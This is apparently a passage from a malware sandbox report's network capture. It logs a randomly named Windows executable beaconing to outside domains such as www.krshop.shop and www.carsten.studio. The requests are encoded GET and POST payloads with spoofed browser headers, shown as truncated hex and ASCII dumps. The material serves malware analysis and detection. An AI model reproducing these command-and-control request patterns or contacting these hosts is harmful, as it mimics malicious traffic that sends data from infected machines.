2f 49 65 6b 6a 79 36 38 2b 42 56 44 5a 32 62 37 78 57 70 49 42 47 [TRUNCATED] Data Ascii: x4=i1/Jbp3LmLCJ6q2Dm4aC5BF1Tye7f/wEXZzOy2VGgXCam9OzckiGszyuAbE05EfqdUp2J3dbaXP7NlbwJJjQySuf6T5tRtAyGyDlwLvpusYGI1tkgoZ3LNbzNLCW5GjxCZBlUa9r5w5pd094WX5qF0+7efYbRUHjLeSKLpAbFQ1vBxBxDxEtuz1894ltK61xQAP3VBGrmPae78wtDMKIibJZS7SYZGwilu/EmOw2taJgZ5p8fq9LiX26PjA86G9HzusGAB9EQvvhi/2ZvzAXUHYO5RRMYUbpNR4no8cUMiTHRrmIfNtNC0pbM/Iekjy68+BVDZ2b7xWpIBG3hy9yiAPj7YSTVa4MYPFqX/aK4g2DSJMA0hULwLQ3QDdsoBDX4lu7U1xuJPUOwcSRSFo6yWI1DRi4mSxKt0Wi2djsmJEUTTSYEs5pwhEXuA9KfGAJbdXC2X8PhSc2eMyq1PRyNXfgA43bnIDv7PNKNfmo9orqrjxyEm1Kx+ssfFZCRqPqhHwTahzZkfYlYjCYeedCDd5hj4iO7O8wkQ1GeTndrpr0xfx0qMZk2PL1XPzMZaSlpTe+cpA+EJ7I3xNr7mxn3PqfxiBiYhiAeZXDxyUGYaIkCUtbXh4gGSKtDdOeYrVISiK+zcUQ0hHmORNp1yEGMbIECGINdR9igs9k0pr0N3iH1BpExR3tpq9ipRvC6FL4mFXwqbxRe9AzVXhyD93/2baBMDeN4l+Ul6hj9u3nRf4IxG2j5XJLLYNPsm58gLTMeQPuGQGCgRBP6P8P4PyapcCisdjtCe2ukq5oHqNE+1XBCu8QRtcya/U1xZvOLN3MVsC0Rvj26J58X5shYt0EhL2Di07NEqlJebf5rtcUzmQ6BbLgn3I6tki+hsJeq9I3pKQZlm77XV833xI3MF87IYs0AXEMNgP1Cvl4ypZ0BXDNKxfqtU5ItIsmpU11MfbYnrK3azhDEcU0aTz0Dqi6Q9VGUJhWQHARM1La7Hm00OBv0jkxk [TRUNCATED]
Dec 12, 2024 10:22:48.326210022 CET	1764	OUT	Data Raw: 58 4f 4a 79 48 5a 70 56 42 75 41 39 33 43 4d 77 68 4e 78 4e 54 6b 35 58 36 72 4d 45 43 52 79 78 69 58 69 51 6d 62 74 50 45 6f 50 46 73 63 4a 46 54 6f 76 44 67 67 74 6a 62 59 67 75 79 41 50 4a 42 68 42 37 37 41 78 68 42 74 7a 78 71 5a 73 77 67 4b Data Ascii: XOJyHZpVBuA93CMwhNxNTk5X6rMECRyxiXiQmbtPEoPFscJFTovDggtjbYguyAPJBhB77AxhBtzxqZswgKIPqD1y0hQs0JY7CMonQTGJEl4URmsRuGsvTopWbSW0M+e6eqfCN7ujNpsiQhxWzNI1FDdNQyhXVbYdimJWWoRECilaJ73xNJYgCGZXc++5TYvijbmehfeIpjNqQg3Mvth3HVIoQMz/3UWAKjnMiC3asj6voc4Nx7V
Dec 12, 2024 10:22:49.573703051 CET	1236	IN	HTTP/1.1 200 OK Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Thu, 12 Dec 2024 09:22:49 GMT Server: Apache Content-Encoding: gzip Data Raw: 37 61 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 a5 58 6d 6f db 36 10 fe 3e 60 ff 81 73 b1 60 03 24 5a 6f 96 e4 97 04 c8 9a 0c 29 d0 ac 7b 29 02 6c df 68 89 b2 b4 c9 a2 21 d2 76 d2 61 ff 7d cf 91 72 e2 64 dd d6 26 6d 7c 92 c8 bb e3 3d 77 c7 d3 51 8b af 2e de bd 7e ff eb 8f 97 ac 36 eb f6 ec cb 2f 16 c3 95 b1 45 2d 45 89 11 86 7f 0b d3 98 56 9e fd f2 fe e7 f3 f7 ef 98 cf 2e d4 5a 34 1d eb a5 96 fd 4e 96 8b b1 9b 27 e6 c5 f8 5e 6e b1 54 e5 1d d3 e6 ae 95 a7 a3 a5 28 fe 58 f5 6a db 95 7e a1 5a d5 cf d8 ab aa aa e6 ac 52 9d f1 2b b1 6e da bb 19 7b b7 91 1d fb 45 74 da 63 1a d4 87 fa 06 3c 1b 51 96 4d b7 9a b1 60 ce d6 a2 5f 35 1d dd 8e 06 e3 18 73 46 62 ed b2 d9 fd d7 7a 71 85 ff 47 ea 92 60 73 4b 3a f7 4d 69 ea 19 0b 83 e0 eb 23 ad 8f f5 1d 78 26 90 39 58 e1 b7 b2 32 33 26 b6 46 dd 0f f5 cd aa 3e 8c 8d ce 16 82 d5 bd ac 4e 47 b5 31 1b 3d 1b 8f f7 fb 3d d7 a6 17 46 f1 52 8e e0 c1 f6 74 d4 a9 4a b5 ad da 8f ee 6d 57 7d 29 e1 a1 63 8c b0 46 ef 56 ec 76 dd 76 da a9 1b b4 ed 63 ae fa d5 38 0a 82 60 0c 8e 11 db [TRUNCATED] Data Ascii: 7a3Xmo6>`s`$Zo){)lh!va}rd&m\|=wQ.~6/E-EV.Z4N'^nT(Xj~ZR+n{Etc<QM`_5sFbzqG`sK:Mi#x&9X23&F>NG1==FRtJmW})cFVvvc8`5r=,`$cRVlarUWU,N8X/6h9buDgI^'<U4I/Nxe7Q'&x3y^~18#{#C3gL]:S#>-'d"C#!] {ctkY2/Hx1ai#'d:BBaAIgC@$mEz&30H\|b+&8aiQk%4@@&Lj:`%r@j?<'Xd,M)`AXKHXRk'lu3E^$Cs,<^6OX"qTA%TV@dKa&t2!J%Ps,\O)Mcp^MsH~ajOY^CH(;(vQXdHJ^)EYBdNlVr@"2o1\|@qzj1"x$)a*9EQ7{fumeHL<'+A, alhD4_C)LyT/4tP6Sy/nI,XH~% [TRUNCATED]
Dec 12, 2024 10:22:49.573735952 CET	899	IN	Data Raw: 48 7c e8 87 12 4a b6 70 ed 03 80 8f 42 9b 62 45 0a 45 94 d6 13 9e fe b6 8e 26 e4 0c 4a c3 cf d9 30 61 f4 af 39 65 37 1f cc fe c4 1d 03 00 8f 77 0c 44 61 cf a4 c6 d6 fb 9c 1d b3 8e 00 1a 25 98 9c 6f 4b a8 9f 78 31 76 c7 04 34 b6 d5 12 86 d1 6e c5 Data Ascii: H\|JpBbEE&J0a9e7wDa%oKx1v4nX(3RlCTBhp=5j!Q=Ha9dGSJ=RC=C%HK#;5lL1=TI>5$u`4O"/Ij(X&AQz.}7JQd+EI?2.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.22	49198	217.160.0.200	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:22:50.898576021 CET	543	OUT	GET /8mom/?e2E=wRQ8oHXx&x4=v3XpYZPN786X74upleiKtnNLTnr+c+QwOZfu2m4ZpmP7p96MXgDDhh7sLakM2W7qG0VyTnNwFXquJXbjGrCq/za7/jRofJkRFgfW/Ij12v4wAiV6r71IBPX8JcSc HTTP/1.1 Host: www.carsten.studio Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36
Dec 12, 2024 10:22:52.139718056 CET	1236	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Length: 4545 Connection: close Date: Thu, 12 Dec 2024 09:22:51 GMT Server: Apache Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 53 54 52 41 54 4f 20 2d 20 44 6f 6d 61 69 6e 20 72 65 73 65 72 76 65 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 3c 2f 68 65 61 64 3e 0d 0a 20 20 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 4f 70 65 6e 20 53 61 6e 73 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 6d 61 72 67 69 6e 3a 20 30 3b 22 3e 0d 0a 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 33 66 33 66 33 3b 20 70 61 64 64 69 6e 67 3a 20 34 30 70 78 20 30 3b 20 77 69 64 74 68 3a 20 31 30 30 25 3b 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 20 31 35 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 20 6d 61 72 67 69 6e 2d [TRUNCATED] Data Ascii: <!DOCTYPE html><html> <head> <title>STRATO - Domain reserved</title> </head> <body style="background-color: #fff; font-family: Open Sans, sans-serif; padding: 0; margin: 0;"> <div style="background-color: #f3f3f3; padding: 40px 0; width: 100%;"> <div style="width: 150px; margin-left: auto; margin-right: auto;"><a href="https://www.strato.de" rel="nofollow" style="border: 0;"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 157.4 33.7"><defs><style>.a{fill:#f80;}.b{fill:#f80;}</style></defs><title>STRATO</title><path class="a" d="M17.8,7a4.69,4.69,0,0,1-4.7-4.7H29.6A4.69,4.69,0,0,1,34.3,7V23.5a4.69,4.69,0,0,1-4.7-4.7V9.4A2.37,2.37,0,0,0,27.2,7Z" transform="translate(-1.3 -2.3)"/><path class="b" d="M57.7,32.9c-1.3,2.5-4.7,2.6-7.3,2.6-2.1,0-4-.1-5.2-.2-1.5-.1-1.8-.5-1.8-1.3V32.9c0-1.3.2-1.7,1.4-1.7,2.1,0,3.1.2,6.2.2,2.4,0,2.9-.2,2.9-2.3,0-2.4,0-2.5-1.3-3.1a42.2,42.2,0,0,0-4.5-1.8c-3.7-1.6-4.4-2.3-4.4-6.5,0-2.6.5-4.8,3.4-5.7a14,14,0,0,1,4.9-.6c1.6, [TRUNCATED]
Dec 12, 2024 10:22:52.139734983 CET	224	IN	Data Raw: 33 2c 30 2c 31 2e 36 2c 31 2e 33 2c 32 2e 31 2e 39 2e 35 2c 32 2c 2e 38 2c 32 2e 39 2c 31 2e 33 2c 34 2e 39 2c 32 2e 31 2c 36 2c 32 2e 35 2c 36 2c 36 2e 37 61 31 30 2e 31 32 2c 31 30 2e 31 32 2c 30 2c 30 2c 31 2d 2e 36 2c 34 2e 38 4d 37 37 2e 31 Data Ascii: 3,0,1.6,1.3,2.1.9.5,2,.8,2.9,1.3,4.9,2.1,6,2.5,6,6.7a10.12,10.12,0,0,1-.6,4.8M77.1,15.7c-2.1,0-3.7,0-5.2-.1v18a1.4,1.4,0,0,1-1.5,1.6H69c-1.1,0-1.7-.3-1.7-1.6V15.7c-1.5,0-3.2.1-5.3.1-1.5,0-1.5-.9-1.5-1.6v-.9A1.36,1.36,0,0,1,6
Dec 12, 2024 10:22:52.139744997 CET	1236	IN	Data Raw: 32 2c 31 31 2e 38 48 37 37 2e 32 63 2e 38 2c 30 2c 31 2e 35 2e 32 2c 31 2e 35 2c 31 2e 35 76 2e 39 63 2d 2e 31 2e 36 2d 2e 32 2c 31 2e 35 2d 31 2e 36 2c 31 2e 35 4d 39 37 2e 32 2c 33 35 2e 32 48 39 35 2e 31 61 32 2e 34 36 2c 32 2e 34 36 2c 30 2c Data Ascii: 2,11.8H77.2c.8,0,1.5.2,1.5,1.5v.9c-.1.6-.2,1.5-1.6,1.5M97.2,35.2H95.1a2.46,2.46,0,0,1-2.2-.9l-6-7.6H85.8v7a1.4,1.4,0,0,1-1.5,1.6H82.8c-1.1,0-1.7-.3-1.7-1.6V13.2c0-1.4.9-1.5,1.7-1.5h6.5c3.7,0,4.7.2,6.1,1.6s1.8,3.6,1.8,6.7c0,2.9-.8,4.7-2.3,5.7a4
Dec 12, 2024 10:22:52.139754057 CET	1236	IN	Data Raw: 36 2c 32 2e 32 36 2c 30 2c 30 2c 30 2d 32 2e 33 2d 32 2e 33 48 33 2e 36 41 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 30 2c 31 2e 33 2c 31 34 56 33 32 2e 37 41 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 30 2c 33 2e 36 2c 33 35 48 32 32 2e 34 61 32 Data Ascii: 6,2.26,0,0,0-2.3-2.3H3.6A2.26,2.26,0,0,0,1.3,14V32.7A2.26,2.26,0,0,0,3.6,35H22.4a2.26,2.26,0,0,0,2.3-2.3C24.8,32.7,24.9,14,24.9,14Z" transform="translate(-1.3 -2.3)"/></svg></a></div></div> <div style="color:#333;font-size
Dec 12, 2024 10:22:52.139774084 CET	751	IN	Data Raw: 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 22 20 6c 61 6e 67 3d 22 66 72 22 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 20 63 6f 6c 6f 72 3a 20 23 37 37 37 3b 20 66 6f 6e 74 2d 77 65 69 67 68 Data Ascii: ding-bottom: 30px" lang="fr"><span style="font-size: 14px; color: #777; font-weight: bold;">Français</span><br>Cette page web vient juste d'être activée. Elle n'a pour l'istant aucun contenu.</div> <div st

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.22	49199	13.248.169.48	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:22:57.440946102 CET	2472	OUT	POST /5p01/ HTTP/1.1 Host: www.krshop.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Origin: http://www.krshop.shop Referer: http://www.krshop.shop/5p01/ Content-Length: 2159 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36 Data Raw: 78 34 3d 74 43 53 7a 48 56 39 53 45 61 5a 74 63 4f 46 44 77 56 41 6e 76 50 61 33 56 38 35 6a 71 43 4c 2b 7a 4f 6a 36 53 35 5a 51 4a 36 47 4f 32 69 4d 41 73 4b 4f 67 74 6f 6f 76 77 4b 4f 6b 62 64 31 79 78 64 64 30 43 54 61 47 49 45 54 70 5a 53 70 4f 72 68 76 63 73 44 58 6d 61 56 52 4a 62 57 48 5a 4b 4b 56 65 65 30 74 35 50 47 31 45 6b 61 38 58 4e 35 6f 61 64 4d 39 32 6c 32 59 46 2f 52 2f 6d 71 73 71 68 4f 6e 51 49 75 72 6d 6f 43 44 56 77 6f 46 2f 45 31 44 57 38 5a 4d 41 4c 72 39 45 38 4a 33 78 77 4e 30 45 6f 58 66 65 53 6a 76 79 68 2f 47 74 71 46 48 70 4c 70 33 4b 58 39 6b 63 73 35 41 77 45 78 4a 4e 6d 67 6f 53 48 50 67 2f 42 78 4a 4e 7a 44 72 70 35 75 33 78 4a 4c 39 38 4d 62 4a 64 69 7a 6a 38 4a 54 38 78 4a 42 50 33 77 2f 38 4e 66 4a 77 41 58 43 5a 54 42 58 51 6e 72 47 58 67 76 2f 43 55 76 35 31 50 4d 34 45 72 2b 34 43 51 42 54 6a 4c 69 79 76 35 50 69 67 4a 68 64 34 54 71 74 47 69 46 44 2b 79 4c 48 71 46 41 76 78 7a 4c 55 63 55 37 4a 72 77 42 7a 77 52 45 76 6d 2f 69 57 61 46 6f 2b 69 69 4a 35 4a 55 [TRUNCATED] Data Ascii: x4=tCSzHV9SEaZtcOFDwVAnvPa3V85jqCL+zOj6S5ZQJ6GO2iMAsKOgtoovwKOkbd1yxdd0CTaGIETpZSpOrhvcsDXmaVRJbWHZKKVee0t5PG1Eka8XN5oadM92l2YF/R/mqsqhOnQIurmoCDVwoF/E1DW8ZMALr9E8J3xwN0EoXfeSjvyh/GtqFHpLp3KX9kcs5AwExJNmgoSHPg/BxJNzDrp5u3xJL98MbJdizj8JT8xJBP3w/8NfJwAXCZTBXQnrGXgv/CUv51PM4Er+4CQBTjLiyv5PigJhd4TqtGiFD+yLHqFAvxzLUcU7JrwBzwREvm/iWaFo+iiJ5JUzo3jvfqXjCJCwXgupIoCSuv3CXqqmN855IrEc/rgX8Zo493HXxd1EecNCFbYLUK8H6eQssJonGnc/7EVirmSXRxc3mrHLDM8vdMjTYQjpJvgz5ch5twEUnG8+dahs+/UBF7k3UEgyQSAhHtbZmddDURnp3BwkKYsFdZvU+SjFMrTEYzSZc1axqi9rA1Rb022rBf7suB+ViY6MtCdLN+tX0yIPcKgY1AE5lnKmU6BDyfdZ/KZ2sKrvy6FeL5AVcVwtkACqbEEnkUwkuGSJCpOXY7KS3mbODmF0R7TwAQLVmoyVsZun1xgvLS2et+KNMF6FKuWC69154j7KVNxF3pUrmUfh2TjtG3LMD1miyF8aVfM8SkIBSFoBoqpu58e2u7FaOvdeTTOUczMU6SyrfdMWdpaXec164S9+yuqBhbCfJUCYxUjwADGnEAVcOzUtmLJNTHtqiC1yh53wZEuSbwNgsDFnJWTdLAvPlgm4VcA1i+3SmnIMKqACKoJE0LKFUNiZdkyLT/uj5pg9DMwXB3UG/Op9fqgh8CeSZmV7vjMsRRAP6yTxsNb1u/MbnFYPa1dUZaq7LQktdoJdcIYm8TCbt+PWIQTaIsQ/AOwuQNUbIVsDTkBzy9BeKwm6gRvIbYM7+ihJ3pP7qy8XwzSzxBnECQTWy7HndDkWK [TRUNCATED]
Dec 12, 2024 10:22:57.560386896 CET	291	OUT	Data Raw: 78 55 32 61 6b 62 70 55 42 36 6c 2f 68 53 4a 35 66 64 68 50 36 2b 30 38 53 6c 70 34 67 47 48 59 34 74 39 37 6b 48 67 6c 71 64 64 4e 78 69 79 4b 62 37 38 70 43 6b 78 34 7a 35 76 77 61 5a 6a 74 4a 65 33 70 55 37 4f 43 2f 59 43 6d 7a 2f 76 4e 61 71 Data Ascii: xU2akbpUB6l/hSJ5fdhP6+08Slp4gGHY4t97kHglqddNxiyKb78pCkx4z5vwaZjtJe3pU7OC/YCmz/vNaq144eMVgANH6vCtHOMpZqAVVKPnw6shUFPw7URnMOFVbiPbu8iScChNJjkaByDtGNLweDXmBdvioJYh0rbo6jeh4sl0RE9F7RP2P/ROZX83mzj1YE2VPe89AfAvg9O6nxU8JMnCWLYk+DOz282hQ8+UMdM9OSpbwPM
Dec 12, 2024 10:22:58.517735958 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.22	49200	13.248.169.48	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:23:00.166151047 CET	802	OUT	POST /5p01/ HTTP/1.1 Host: www.krshop.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Origin: http://www.krshop.shop Referer: http://www.krshop.shop/5p01/ Content-Length: 199 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36 Data Raw: 78 34 3d 74 43 53 7a 48 56 39 53 45 61 5a 74 63 4a 52 44 32 48 6f 6e 75 76 61 33 57 38 35 6a 67 69 4c 30 7a 4f 2b 50 53 37 30 4c 4a 4c 65 4f 31 32 63 41 73 34 57 67 67 49 6f 75 6c 36 4f 67 47 74 31 64 78 64 64 6f 43 58 61 47 49 45 33 70 5a 33 31 4f 37 69 33 66 6b 54 58 7a 4f 6c 52 49 62 57 62 71 4b 4b 6f 44 65 31 31 35 50 41 64 45 6c 62 4d 58 66 4c 51 61 59 38 39 77 79 6d 59 6f 2f 52 6a 33 71 6f 47 54 4f 6d 63 49 75 35 53 6f 42 57 5a 77 76 57 48 45 36 6a 57 35 55 73 42 39 34 34 64 7a 50 45 70 76 48 69 63 39 59 50 71 39 6f 64 53 2f 6e 56 35 64 4f 6e 68 37 68 53 50 45 72 51 5a 48 68 51 3d 3d Data Ascii: x4=tCSzHV9SEaZtcJRD2Honuva3W85jgiL0zO+PS70LJLeO12cAs4WggIoul6OgGt1dxddoCXaGIE3pZ31O7i3fkTXzOlRIbWbqKKoDe115PAdElbMXfLQaY89wymYo/Rj3qoGTOmcIu5SoBWZwvWHE6jW5UsB944dzPEpvHic9YPq9odS/nV5dOnh7hSPErQZHhQ==
Dec 12, 2024 10:23:01.250957966 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.22	49201	13.248.169.48	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:23:02.815015078 CET	2472	OUT	POST /5p01/ HTTP/1.1 Host: www.krshop.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Origin: http://www.krshop.shop Referer: http://www.krshop.shop/5p01/ Content-Length: 3623 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36 Data Raw: 78 34 3d 74 43 53 7a 48 56 39 53 45 61 5a 74 64 74 74 44 30 6d 6f 6e 6f 50 61 32 49 73 35 6a 71 43 4c 77 7a 4f 69 50 53 35 5a 51 4a 34 75 4f 32 6c 6b 41 73 61 4f 67 73 6f 6f 75 73 61 4f 6b 62 64 31 31 78 64 35 65 43 54 66 6b 49 43 58 70 5a 58 46 4f 72 68 54 63 72 44 58 6d 59 56 52 48 62 57 61 79 4b 4b 34 48 65 30 42 54 50 45 35 45 6d 6f 30 58 64 37 51 5a 58 63 39 77 79 6d 59 53 2f 52 69 53 71 73 53 4c 4f 6d 31 51 75 72 61 6f 43 7a 56 77 74 31 2f 44 38 6a 57 6c 64 4d 41 5a 72 39 41 72 4a 33 78 38 4e 77 73 43 58 66 53 53 6a 36 75 68 2f 48 74 31 4b 33 70 45 6b 58 4b 58 67 55 63 69 35 41 78 62 78 4a 4e 6d 67 72 57 48 50 77 2f 42 78 49 4e 77 48 72 70 35 77 48 78 45 46 64 34 2b 62 4a 59 7a 7a 6a 4e 30 54 72 4a 4a 41 4e 50 77 34 4d 4e 66 4d 41 42 63 43 5a 54 63 64 77 6e 4a 47 54 4d 4e 2f 44 34 2f 35 31 50 4d 34 43 2f 2b 7a 42 34 42 61 54 4c 69 76 2f 35 4f 31 77 4a 69 64 35 44 63 74 48 57 46 44 2f 61 4c 45 39 70 41 70 30 66 49 62 4d 55 2b 65 37 77 50 33 77 52 52 76 6e 53 71 57 61 4e 53 2b 68 71 4a 35 4c 4d [TRUNCATED] Data Ascii: x4=tCSzHV9SEaZtdttD0monoPa2Is5jqCLwzOiPS5ZQJ4uO2lkAsaOgsoousaOkbd11xd5eCTfkICXpZXFOrhTcrDXmYVRHbWayKK4He0BTPE5Emo0Xd7QZXc9wymYS/RiSqsSLOm1QuraoCzVwt1/D8jWldMAZr9ArJ3x8NwsCXfSSj6uh/Ht1K3pEkXKXgUci5AxbxJNmgrWHPw/BxINwHrp5wHxEFd4+bJYzzjN0TrJJANPw4MNfMABcCZTcdwnJGTMN/D4/51PM4C/+zB4BaTLiv/5O1wJid5DctHWFD/aLE9pAp0fIbMU+e7wP3wRRvnSqWaNS+hqJ5LMzk07veaXsW5C0BQytIoKsuvi3XrGmMol5e9Yfw7gV5Zoy2XGoxdwTedtCFqQLVOIHxJkj9JpOUXckh0U5rn3SRzkem+7LC88vcuLQFwjsFPhxjshRtwE6nDIEdrJs+/kBFp83UEgxbyAnJNW0mdYrUSCi3CokEo8FdYvUmijFUbSMWTTucxyhqhwQAFFbtV+rDdjsmB+Xu46PpCd8N+9X0zsfcJQY1lo5lGKmZaBH7/cH/KYPsK+uy6VOL6kVcUwtsiqqcEEimUwgqGT5CpXaY4e03nDOCGl0QOzwGwLXuIyV2puB1xYZLW6Ot7uNM0KFIOWFut16+j7Netxb3t4rmUTh2QjtHEzMHGOi0F8cb/McYEFuSFYror8p56u2vphaNqxdXjOWWTMgwyyTfdMKdoC5do165Hp+1PqC8LCSSEDHukj6ADX8EEcROAgtmLZNQ0Fqly1yh53/ZEuWbwQTsGhNJWTdKSHPlTe4f8AtnO2WinJRKqE0KoR+0K2FVZ2ZdkyEcvukt5gyDM0KB3Uk/O19fYsh9USSXl974zMsGhAQxSTwsNblu68xnBMPbF9UeYC4DAkgVIJ1XoF48T/Gt8DWInzaaO4/B+wuaNUYQFtBQUFVy8twKyf/ginIauQ74h5IspP20C8RwzeQxBvcCTCry8TndjkWP [TRUNCATED]
Dec 12, 2024 10:23:02.938091993 CET	1755	OUT	Data Raw: 7a 38 32 61 68 6e 70 55 69 43 6c 2f 42 53 4f 6d 76 64 4b 50 36 2b 75 38 53 39 48 34 6b 57 58 59 35 39 39 39 47 66 67 6b 39 68 64 52 78 69 73 4b 62 37 4d 74 43 6f 41 34 7a 34 57 77 61 46 6a 74 49 79 33 70 55 62 4f 43 50 59 64 75 6a 2f 69 44 36 72 Data Ascii: z82ahnpUiCl/BSOmvdKP6+u8S9H4kWXY5999Gfgk9hdRxisKb7MtCoA4z4WwaFjtIy3pUbOCPYduj/iD6r/2ofVVgAzH+nktGmMpriAC3iPmA6u4EFl6bRWnMKJVfulac0iA+KhJ6bkehyGuGNWwePvmBNzipZyhBDboKjerew6jBE/VrRG2P+8OZf43j7z1a42VJq87wfDpQ9E5nwT8JQCCWD6k+TOz2g2nws+XMdMyuSWYwPv
Dec 12, 2024 10:23:03.902789116 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.22	49202	13.248.169.48	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:23:05.469290018 CET	540	OUT	GET /5p01/?x4=gA6TElZrCKVvAudJqCgIj+rDW60O9S/KrsL6QppRHZfK3DYPsJvxk4hrjtesZ+QJ9tNiW026ZluxU0disiqWvA+4TRd5XHrMIpgHSW93WHtTmPUKepAYQ6lEihd3&e2E=wRQ8oHXx HTTP/1.1 Host: www.krshop.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36
Dec 12, 2024 10:23:06.585774899 CET	376	IN	HTTP/1.1 200 OK content-type: text/html date: Thu, 12 Dec 2024 09:23:06 GMT content-length: 255 connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 78 34 3d 67 41 36 54 45 6c 5a 72 43 4b 56 76 41 75 64 4a 71 43 67 49 6a 2b 72 44 57 36 30 4f 39 53 2f 4b 72 73 4c 36 51 70 70 52 48 5a 66 4b 33 44 59 50 73 4a 76 78 6b 34 68 72 6a 74 65 73 5a 2b 51 4a 39 74 4e 69 57 30 32 36 5a 6c 75 78 55 30 64 69 73 69 71 57 76 41 2b 34 54 52 64 35 58 48 72 4d 49 70 67 48 53 57 39 33 57 48 74 54 6d 50 55 4b 65 70 41 59 51 36 6c 45 69 68 64 33 26 65 32 45 3d 77 52 51 38 6f 48 58 78 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE 